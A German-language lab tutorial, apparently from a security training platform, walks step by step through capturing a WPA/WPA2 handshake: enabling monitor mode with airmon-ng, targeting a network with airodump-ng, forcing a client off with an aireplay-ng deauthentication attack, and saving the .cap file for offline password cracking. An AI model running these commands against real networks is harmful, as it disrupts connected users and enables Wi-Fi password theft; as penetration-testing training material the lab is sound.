Manueller Erfassen eines WPA-Handshakes mit airodump-ng

Beginner
Jetzt üben

Einleitung

Der WPA/WPA2-Vier-Wege-Handshake ist eine kritische Komponente der modernen Wi-Fi-Sicherheit. Es ist der Prozess, bei dem ein Client und ein Access Point (AP) beweisen, dass sie den Pre-Shared Key (das Wi-Fi-Passwort) kennen, ohne ihn jemals direkt zu übertragen. Das Erfassen dieses Handshakes ist der erste Schritt bei einem Brute-Force- oder Wörterbuchangriff, um das Wi-Fi-Passwort wiederherzustellen.

In diesem Lab lernen Sie, wie Sie die leistungsstarke Aircrack-ng-Toolsuite verwenden, um diese Erfassung durchzuführen. Wir werden airmon-ng verwenden, um Ihre drahtlose Karte in den Monitor-Modus zu versetzen, airodump-ng, um ein bestimmtes Netzwerk zu scannen und anzuvisieren, und aireplay-ng, um einen Client zur Re-Authentifizierung zu zwingen und dadurch einen Handshake zu generieren, den wir erfassen können.

Dieses Lab simuliert ein reales Szenario. Ihnen wird eine drahtlose Schnittstelle wlan0 und ein Zielnetzwerk zur Verfügung gestellt, auf dem Sie in der Laborumgebung üben können.

Den Wireless Adapter in den Monitor-Modus versetzen

In diesem Schritt bereiten wir unseren Wireless Adapter für die Erfassung von Netzwerkverkehr vor. Standardmäßig arbeitet ein Wireless Adapter im "Managed Mode", was bedeutet, dass er nur auf den für ihn bestimmten Datenverkehr achtet. Um den gesamten Wi-Fi-Verkehr in der Luft zu erfassen, müssen wir ihn in den "Monitor Mode" umschalten. Dazu verwenden wir das Tool airmon-ng.

Zuerst überprüfen wir den Namen unserer Wireless-Schnittstelle. Öffnen Sie ein Terminal und führen Sie den Befehl iwconfig aus.

iwconfig

Sie sollten eine aufgelistete Schnittstelle sehen, die typischerweise wlan0 genannt wird.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

Verwenden Sie nun airmon-ng, um den Monitor-Modus auf der Schnittstelle wlan0 zu starten. Dieser Befehl kann einige Netzwerkprozesse beenden, die die Erfassung stören könnten.

sudo airmon-ng start wlan0

Die Ausgabe bestätigt, dass der Monitor-Modus aktiviert wurde. Er erstellt normalerweise eine neue virtuelle Schnittstelle, oft wlan0mon genannt, für die Überwachung.

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Sie können überprüfen, ob die neue Schnittstelle wlan0mon im Monitor-Modus ist, indem Sie iwconfig erneut ausführen.

iwconfig wlan0mon

Die Ausgabe sollte Mode:Monitor anzeigen.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

airodump-ng ausführen, um die BSSID und den Kanal des Ziels zu finden

In diesem Schritt verwenden wir airodump-ng, um die Funkwellen zu scannen und unser Zielnetzwerk zu identifizieren. airodump-ng ist ein leistungsstarkes Werkzeug zum Erfassen von 802.11-Frames und zum Entdecken von Access Points und verbundenen Clients in der Nähe.

Nachdem unsere Schnittstelle wlan0mon im Monitor-Modus ist, können wir den Scan starten. Führen Sie den folgenden Befehl in Ihrem Terminal aus:

sudo airodump-ng wlan0mon

Ihr Terminal wird mit einer Liste aller Wi-Fi-Netzwerke gefüllt, die airodump-ng erkennen kann. Die Anzeige ist in zwei Teile unterteilt. Der obere Teil listet die Access Points (APs) auf, und der untere Teil listet die verbundenen Clients (Stations) auf.

Lassen Sie uns die wichtigsten Spalten für die APs aufschlüsseln:

  • BSSID: Die MAC-Adresse des Access Points. Dies ist seine eindeutige Hardware-Kennung.
  • CH: Der Kanal, auf dem das Netzwerk betrieben wird.
  • ESSID: Der lesbare Name des Wi-Fi-Netzwerks (z. B. "MyHomeWiFi").

Hier ist ein Beispiel dafür, was Sie sehen könnten:

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

Für dieses Lab ist unser Zielnetzwerk LabEx_WiFi. Identifizieren Sie aus der obigen Ausgabe seine BSSID (00:11:22:33:44:55) und seinen CH (6). Sie benötigen diese für den nächsten Schritt.

Sobald Sie die BSSID und den Kanal notiert haben, drücken Sie Strg+C im Terminal, um den Scanvorgang zu beenden.

airodump-ng mit dem spezifischen BSSID und Kanal als Ziel ausführen

In diesem Schritt werden wir unsere Erfassung nur auf das Zielnetzwerk konzentrieren. Ein allgemeiner Scan, wie wir ihn im vorherigen Schritt durchgeführt haben, bewirkt, dass die Funkkarte "Channel Hopping" betreibt, was bedeutet, dass wir den Handshake verpassen könnten, wenn er stattfindet. Um eine erfolgreiche Erfassung zu gewährleisten, werden wir airodump-ng anweisen, sich auf den Kanal unseres Ziels zu fixieren und nur auf den Datenverkehr von dessen BSSID zu hören.

Wir werden auch das Flag -w verwenden, um die erfassten Pakete in eine Datei zu schreiben. Diese Datei wird den Handshake enthalten.

Verwenden Sie die im vorherigen Schritt identifizierte BSSID und den Kanal (00:11:22:33:44:55 und 6), um den folgenden Befehl zu erstellen. Wir werden unsere Ausgabedatei handshake_capture nennen.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

Nachdem Sie diesen Befehl ausgeführt haben, ändert sich die Anzeige von airodump-ng. Sie zeigt nun nur noch Informationen für das Netzwerk LabEx_WiFi an. Sie sehen auch eine Liste aller verbundenen Clients (STATIONs).

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

Wichtig: Lassen Sie dieses Terminal laufen. Wir benötigen es, um die Erfassung fortzusetzen. Für den nächsten Schritt müssen Sie ein neues Terminalfenster öffnen. Sie können dies tun, indem Sie erneut auf das Terminal-Symbol in der Anwendungsleiste der Umgebung klicken.

aireplay-ng zur Deauthentifizierung eines Clients verwenden

In diesem Schritt werden wir aktiv einen Handshake erzwingen. Ein Handshake findet nur statt, wenn sich ein Client mit einem Access Point verbindet oder wieder verbindet. Wenn ein Client bereits verbunden ist, können wir darauf warten, dass er sich natürlich trennt, aber das könnte lange dauern. Ein proaktiverer Ansatz ist, ihn mithilfe eines "Deauthentifizierungsangriffs" zur Trennung zu zwingen.

Wir werden aireplay-ng verwenden, um speziell präparierte Deauthentifizierungs-Pakete an einen Client zu senden, wodurch dieser glaubt, er sei vom AP getrennt worden. Der Client wird dann automatisch versuchen, sich wieder zu verbinden, wodurch der WPA-Handshake generiert wird, auf den unser airodump-ng-Prozess (der im anderen Terminal läuft) wartet.

Schauen Sie in Ihr erstes Terminalfenster (dasjenige, in dem das gezielte airodump-ng läuft). Unter der Spalte STATION sehen Sie die MAC-Adresse eines verbundenen Clients. Für dieses Lab gehen wir davon aus, dass die MAC-Adresse des Clients AA:BB:CC:DD:EE:FF lautet.

Führen Sie nun in Ihrem neuen Terminalfenster den folgenden aireplay-ng-Befehl aus.

  • --deauth 5: Sendet 5 Deauthentifizierungs-Pakete. Ein kleiner Burst ist normalerweise ausreichend.
  • -a 00:11:22:33:44:55: Dies ist die BSSID unseres Ziel-Access-Points.
  • -c AA:BB:CC:DD:EE:FF: Dies ist die MAC-Adresse des Clients, den wir anvisieren.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

Sie sehen eine Ausgabe von aireplay-ng, die bestätigt, dass die Pakete gesendet werden.

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

Überprüfen wir nun, ob unsere Erfassung erfolgreich war.

Handshake-Erfassung im airodump-ng-Fenster bestätigen

In diesem letzten Schritt werden wir bestätigen, dass wir den WPA-Handshake erfolgreich erfasst haben. Der gerade durchgeführte Deauthentifizierungsangriff sollte den Client zum erneuten Verbinden gebracht haben, und airodump-ng sollte den resultierenden Handshake erfasst haben.

Richten Sie Ihre Aufmerksamkeit zurück auf Ihr erstes Terminalfenster, dasjenige, in dem airodump-ng lief und auf LabEx_WiFi zielte.

Schauen Sie in die obere rechte Ecke der airodump-ng-Anzeige. Wenn die Erfassung erfolgreich war, sehen Sie eine Meldung wie [ WPA handshake: 00:11:22:33:44:55 ].

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

Das Erscheinen dieser Meldung ist Ihre Bestätigung! Sie haben erfolgreich den Vier-Wege-Handshake erfasst.

Sie können nun beide Prozesse stoppen, indem Sie in jedem Terminalfenster Ctrl+C drücken.

Die erfassten Daten, einschließlich des Handshakes, wurden in Dateien in Ihrem aktuellen Verzeichnis gespeichert. Sie können diese mit dem Befehl ls -l auflisten.

ls -l

Sie sollten mehrere Dateien sehen, die mit handshake_capture beginnen, am wichtigsten ist handshake_capture-01.cap.

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

Diese .cap-Datei ist der Hauptgewinn. Sie enthält den Handshake und kann nun mit Tools wie aircrack-ng oder hashcat für Offline-Passwort-Cracking-Versuche verwendet werden.

Zusammenfassung

Herzlichen Glückwunsch zum Abschluss dieses Labs! Sie haben erfolgreich eine der grundlegenden Techniken im Wi-Fi-Penetration-Testing durchgeführt.

In diesem Lab haben Sie gelernt, wie Sie:

  1. Einen drahtlosen Adapter mithilfe von airmon-ng in den Monitor-Modus versetzen.
  2. Nach nahegelegenen drahtlosen Netzwerken scannen, um ein Ziel mit airodump-ng zu identifizieren.
  3. airodump-ng auf eine bestimmte BSSID und einen bestimmten Kanal fokussieren, um eine gezielte Erfassung vorzubereiten und die Ergebnisse in einer Datei zu speichern.
  4. aireplay-ng verwenden, um einen Deauthentifizierungsangriff durchzuführen und einen Client zum erneuten Verbinden zu zwingen.
  5. Die Erfassung des WPA-Handshakes in der airodump-ng-Ausgabe bestätigen.

Die von Ihnen generierte .cap-Datei enthält die wertvollen Handshake-Daten. Der nächste logische Schritt in einem realen Einsatz wäre die Verwendung dieser Datei, um zu versuchen, das Wi-Fi-Passwort zu knacken, ein Thema für ein anderes Lab. Sie haben nun ein solides Verständnis des manuellen Prozesses zur Erfassung dieses kritischen Datensatzes.